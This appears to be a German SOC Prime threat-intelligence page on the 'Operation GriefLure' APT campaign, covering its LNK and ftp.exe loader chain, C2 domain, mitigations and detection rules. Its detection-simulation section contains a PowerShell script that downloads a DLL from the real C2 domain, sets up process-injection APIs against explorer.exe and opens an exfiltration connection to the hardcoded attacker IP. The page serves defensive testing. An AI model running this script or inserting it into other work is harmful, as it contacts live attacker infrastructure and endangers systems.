SOC Prime Bias: Kritisch

08 Mai 2026 18:40

Operation GriefLure: Eine APT-Kampagne, die Vietnams Militärtelekommunikation & das philippinische Gesundheitswesen ins Visier nimmt

Author Photo
SOC Prime Team linkedin icon Folgen
Operation GriefLure: Eine APT-Kampagne, die Vietnams Militärtelekommunikation & das philippinische Gesundheitswesen ins Visier nimmt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Seqrite Labs identifizierte eine gezielte Spear-Phishing-Kampagne, die auf bösartige Windows-LNK-Dateien setzte, die in doppelt komprimierten RAR-Archiven versteckt waren. Beim Öffnen startete die LNK eine native ftp.exe Loader, der eine polymorphe Nutzlast mit dem Namen sfsvc.exe aus fragmentierten .doc Dateien auf dem Rechner des Opfers rekonstruierte. Die Aktivität richtete sich an Führungskräfte im vietnamesischen, militärisch geführten Telekomsektor und an Personal eines privaten Krankenhauses auf den Philippinen, wobei legiti-

Untersuchung

Die Untersuchung zerlegte die Archivstruktur, kartierte den LNK-Ausführungsweg und reverse-engineerte den benutzerdefinierten sfsvc.exe Loader, der darauf ausgelegt war, regsvr32.exezu ähneln. Analysten dokumentierten DLL-Sideloading, In-Memory-Shellcode-Ausführung, Prozesseinschleusung und Kommando- und Kontrollkommunikationen über eine getarnte Domain. Die Überprüfung von Artefakten enthüllte auch eine hartcodierte C2-Domain, www.whatsappcenter.com, die über einen bulletproof-Provider in Hongkong gehostet wird.

Minderung

Verteidiger sollten die Ausführung von LNK-Dateien, die über E-Mail-Anhänge geliefert werden, blockieren und die Verwendung nativer ftp.exe mit verdächtigen Befehlszeilenargumenten überwachen. Die Endpunkt-Erkennung sollte sich auf dateiloses DLL-Loading, Schreibvorgänge im alternativen Datenstrom unter C:UsersPublicUpdateund die schnelle Erstellung von sfsvc.exekonzentrieren. Organisationen sollten auch die Prüfung der Dokumentherkunft verstärken und Benutzer über Köder informieren, die wie legitime rechtliche oder Whistleblower-bezogene Dateien aussehen.

Antwort

Wird die bösartige LNK oder sfsvc.exe Prozess erkannt, sollten der betroffene Endpunkt sofort isoliert, flüchtiger Speicher gesammelt und nach 360.*.dll Loader-Dateien und Artefakten im alternativen Datenstrom gesucht werden. Die identifizierte Kommando- und Kontroll-Domain und die zugehörige IP-Adresse sollten blockiert werden, und die Incident-Response sollte beginnen, um festzustellen, ob Daten exfiltriert wurden. Es sollte auch eine breitere Suche nach ähnlicher LNK-gesteuerter ftp.exe Loader-Aktivität in der gesamten Umgebung durchgeführt werden.

graph TB %% Klassendefinitionen classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Knoten – Angriffsfluss attack_initial_access[„<b>Aktion</b> – <b>T1566.001 Spearphishing mit Anhang</b><br/>Das Opfer erhält ein doppelt komprimiertes RAR-Archiv mit einer schädlichen LNK-Datei“] class attack_initial_access action artifact_rar[„<b>Datei</b> – RAR-Archiv<br/>Enthält ein scheinbar legitimes juristisches Dokument und eine schädliche LNK-Datei“] class artifact_rar file artifact_lnk[„<b>Datei</b> – Schädliche LNK<br/>Doppelte Dateiendung (z. B. document.lnk.rar) zur Umgehung der Erkennung“] class artifact_lnk file tool_ftp[„<b>Werkzeug</b> – ftp.exe (Windows-Systembinärdatei)<br/>Wird als Proxy verwendet, um ein verstecktes Batch-Skript auszuführen“] class tool_ftp tool process_batch[„<b>Prozess</b> – Batch-Skript<br/>Führt copy /b aus, um Payload-Fragmente zu sfsvc.exe und 360.dll zusammenzusetzen“] class process_batch process file_sfsvc_exe[„<b>Datei</b> – sfsvc.exe<br/>Finale Payload-Executable aus Dokumentfragmenten erstellt“] class file_sfsvc_exe file file_360dll[„<b>Datei</b> – 360.dll<br/>Polymorphe DLL für Side-Loading und Shellcode-Auslieferung“] class file_360dll file action_modify_path[„<b>Aktion</b> – <b>T1574.007 Umgebungsvariablen (PATH) ändern</b><br/>Fügt C:\\Users\\Public\\Update zum PATH für Persistenz hinzu“] class action_modify_path action action_dll_side_load[„<b>Aktion</b> – <b>T1574.002 DLL Side-Loading</b> & <b>T1546.009 AppCert DLL-Ausführung</b><br/>sfsvc.exe lädt 360.dll über /calldll und DllRegisterServer“] class action_dll_side_load action process_explorer[„<b>Prozess</b> – explorer.exe<br/>Zielprozess für DLL-Injektion“] class process_explorer process action_process_injection[„<b>Aktion</b> – <b>T1055.001 DLL-Injektion</b><br/>360.dll injiziert zweite Stufe Shellcode in explorer.exe“] class action_process_injection action action_discovery[„<b>Aktion</b> – <b>T1057 Prozess-Erkennung</b> & <b>T1518.001 Sicherheitssoftware-Erkennung</b><br/>Aufzählung laufender Prozesse und installierter Sicherheitsprodukte“] class action_discovery action action_cred_access[„<b>Aktion</b> – <b>T1555.003 Browser-Zugangsdaten</b> & <b>T1552.001 Zugangsdaten in Dateien</b><br/>Exfiltration gespeicherter Passwörter, Cookies und Konfigurationsdateien“] class action_cred_access action action_collection[„<b>Aktion</b> – <b>T1113 Bildschirmaufnahme</b> & <b>T1083 Datei- und Verzeichniserkennung</b><br/>Erfasst Screenshots und Verzeichnislisten“] class action_collection action action_exfiltration[„<b>Aktion</b> – <b>T1071.001 HTTPS</b> & <b>T1573 Verschleierter/verschlüsselter Kanal</b><br/>Daten werden per XOR-verschlüsseltem HTTPS an C2 gesendet“] class action_exfiltration action c2_server[„<b>C2-Server</b> – www.whatsappcenter.com<br/>Empfängt exfiltrierte Daten“] class c2_server c2 %% Verbindungen attack_initial_access –>|liefert| artifact_rar artifact_rar –>|enthält| artifact_lnk artifact_lnk –>|ruft auf| tool_ftp tool_ftp –>|führt aus| process_batch process_batch –>|erstellt| file_sfsvc_exe process_batch –>|erstellt| file_360dll file_sfsvc_exe –>|triggert| action_modify_path action_modify_path –>|ermöglicht| action_dll_side_load file_360dll –>|geladen durch| action_dll_side_load action_dll_side_load –>|injiziert in| process_explorer process_explorer –>|betroffen von| action_process_injection action_process_injection –>|aktiviert| action_discovery action_discovery –>|liefert an| action_cred_access action_cred_access –>|stellt Daten bereit für| action_collection action_collection –>|führt zu| action_exfiltration action_exfiltration –>|sendet an| c2_server

Angriffsfluss

Erkennungen

Mögliche bösartige LNK-Datei mit doppelter Erweiterung (über cmdline)

SOC Prime Team
07. Mai 2026

Mögliche FTP-Skriptausführung mit ungewöhnlichen Erweiterungen (über cmdline)

SOC Prime Team
07. Mai 2026

Verdächtige Ausführung aus dem öffentlichen Benutzerprofil (über prozess_creation)

SOC Prime Team
07. Mai 2026

Alternative Fernzugriffs-/Management-Software (über prozess_creation)

SOC Prime Team
07. Mai 2026

Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)

SOC Prime Team
07. Mai 2026

IOCs (HashSha256) zum Erkennen von: Operation GriefLure: Analyse einer APT-Kampagne, die sich gegen Vietnams Militärische Telekommunikation und das philippinische Gesundheitswesen richtet

SOC Prime KI-Regeln
07. Mai 2026

IOCs (SourceIP) zum Erkennen von: Operation GriefLure: Analyse einer APT-Kampagne, die sich gegen Vietnams Militärische Telekommunikation und das philippinische Gesundheitswesen richtet

SOC Prime KI-Regeln
07. Mai 2026

IOCs (DestinationIP) zum Erkennen von: Operation GriefLure: Analyse einer APT-Kampagne, die sich gegen Vietnams Militärische Telekommunikation und das philippinische Gesundheitswesen richtet

SOC Prime KI-Regeln
07. Mai 2026

Erkennung der Kommunikation von Operation GriefLure C2 [Windows Netzverbindung]

SOC Prime KI-Regeln
07. Mai 2026

Erkennung der Aktivität von Operation GriefLure mithilfe von ftp.exe und sfsvc.exe [Windows Prozess-Erstellung]

SOC Prime KI-Regeln
07. Mai 2026

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Vorab-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle:
    Der Angreifer, der sich über einen Phishing-Anhang (T1566.001, T1204.002) ersten Zutritt verschaffte, wählt einen Living-off-the-Land Ansatz, um ausführbare Nutzlasten zu vermeiden. Unter Verwendung des integrierten cmd.exe (T1059.003) starten sie einen PowerShell-Einzeiler, der die folgenden Schritte ausführt:

    1. Entdeckung – enumeriert Systeminformationen (T1082) und laufende Prozesse (T1057), um ein geeignetes Einspritzziel zu finden.
    2. Ernte von Anmeldeinformationen – liest Browserspeicher (T1555.003) und speichert Anmeldeinformationsdateien (T1552.001) in einem Zwischenordner.
    3. Nutzlastbeschaffung – lädt eine bösartige DLL von der C2-Domain www.whatsappcenter.com über HTTPS herunter (T1071.001, T1041).
    4. Prozesseinschleusung – injiziert die DLL in explorer.exe (T1055.001), um Persistenz zu erlangen und Privilegien zu erhöhen.
    5. C2-Kommunikation – öffnet eine persistente TCP-Verbindung zu 38.54.122.188 (der hartcodierten IP) und beginnt mit der Exfiltration der gesammelten Daten.

    Der entscheidende Schritt, der die Sigma-Regel erfüllt, ist der ausgehende Verbindungsversuch zur genauen Domain/IP, der von Sysmon und der Windows-Firewall protokolliert wird.

  • Regressionstest-Skript:

    # -------------------------------------------------
    # GriefLure C2-Simulation – PowerShell-Version
    # -------------------------------------------------
    # 1. Systemerkennung (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simuliere das Ernten von Anmeldeinformationen (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Lade bösartige DLL von hartcodierter C2-Domain herunter (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Injektiere DLL in explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Die tatsächlichen Injektionsschritte sind aus Gründen der Kürze weggelassen; in einem realen Test würden Sie die obigen APIs aufrufen.)
    
    # 5. Öffne persistente C2-Verbindung zur hartcodierten IP (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Aufräumbefehle:

    # Entferne gestagte Dateien
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Schließe verbleibende TCP-Verbindungen (falls noch offen)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Optional: Setze den Sysmon-Puffer zurück (für einen sauberen Zustand bei wiederholten Tests)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml